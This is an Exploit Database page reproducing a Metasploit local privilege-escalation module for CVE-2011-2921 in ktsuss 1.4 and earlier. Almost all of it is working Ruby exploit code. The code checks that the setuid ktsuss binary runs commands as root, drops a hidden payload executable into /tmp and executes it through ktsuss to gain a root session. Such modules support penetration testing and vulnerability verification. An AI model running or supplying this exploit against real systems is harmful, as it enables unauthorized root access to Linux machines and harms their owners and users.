ktsuss 1.4 – suid Privilege Escalation (Metasploit)

• Exploit Database
• 42 阅读

• 作者： Metasploit
  日期： 2019-09-03
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/47344/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking
  
  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'ktsuss suid Privilege Escalation',
  'Description'=> %q{
  This module attempts to gain root privileges by exploiting
  a vulnerability in ktsuss versions 1.4 and prior.
  
  The ktsuss executable is setuid root and does not drop
  privileges prior to executing user specified commands,
  resulting in command execution with root privileges.
  
  This module has been tested successfully on:
  
  ktsuss 1.3 on SparkyLinux 6 (2019.08) (LXQT) (x64); and
  ktsuss 1.3 on SparkyLinux 5.8 (LXQT) (x64).
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'John Lightsey', # Discovery and exploit
  'bcoles' # Metasploit
  ],
  'DisclosureDate' => '2011-08-13',
  'References' =>
  [
  ['CVE', '2011-2921'],
  ['URL', 'https://www.openwall.com/lists/oss-security/2011/08/13/2'],
  ['URL', 'https://security.gentoo.org/glsa/201201-15'],
  ['URL', 'https://github.com/bcoles/local-exploits/blob/master/CVE-2011-2921/ktsuss-lpe.sh']
  ],
  'Platform' => ['linux'],
  'Arch' =>
  [
  ARCH_X86,
  ARCH_X64,
  ARCH_ARMLE,
  ARCH_AARCH64,
  ARCH_PPC,
  ARCH_MIPSLE,
  ARCH_MIPSBE
  ],
  'SessionTypes' => ['shell', 'meterpreter'],
  'Targets'=> [['Auto', {}]],
  'DefaultOptions' =>
  {
  'AppendExit' => true,
  'PrependSetresuid' => true,
  'PrependSetresgid' => true,
  'PrependSetreuid'=> true,
  'PrependSetuid'=> true,
  'PrependFork'=> true
  },
  'DefaultTarget'=> 0))
  register_options [
  OptString.new('KTSUSS_PATH', [true, 'Path to staprun executable', '/usr/bin/ktsuss'])
  ]
  register_advanced_options [
  OptBool.new('ForceExploit', [false, 'Override check result', false]),
  OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
  ]
  end
  
  def ktsuss_path
  datastore['KTSUSS_PATH']
  end
  
  def base_dir
  datastore['WritableDir'].to_s
  end
  
  def upload(path, data)
  print_status "Writing '#{path}' (#{data.size} bytes) ..."
  rm_f path
  write_file path, data
  register_file_for_cleanup path
  end
  
  def upload_and_chmodx(path, data)
  upload path, data
  chmod path
  end
  
  def check
  unless setuid? ktsuss_path
  vprint_error "#{ktsuss_path} is not setuid"
  return CheckCode::Safe
  end
  vprint_good "#{ktsuss_path} is setuid"
  
  id = cmd_exec 'whoami'
  res = cmd_exec("#{ktsuss_path} -u #{id} id").to_s
  vprint_status res
  
  unless res.include? 'uid=0'
  return CheckCode::Safe
  end
  
  CheckCode::Vulnerable
  end
  
  def exploit
  unless check == CheckCode::Vulnerable
  unless datastore['ForceExploit']
  fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
  end
  print_warning 'Target does not appear to be vulnerable'
  end
  
  if is_root?
  unless datastore['ForceExploit']
  fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
  end
  end
  
  unless writable? base_dir
  fail_with Failure::BadConfig, "#{base_dir} is not writable"
  end
  
  payload_name = ".#{rand_text_alphanumeric 10..15}"
  payload_path = "#{base_dir}/#{payload_name}"
  upload_and_chmodx payload_path, generate_payload_exe
  
  print_status 'Executing payload ...'
  id = cmd_exec 'whoami'
  res = cmd_exec "#{ktsuss_path} -u #{id} #{payload_path} & echo "
  vprint_line res
  end
  end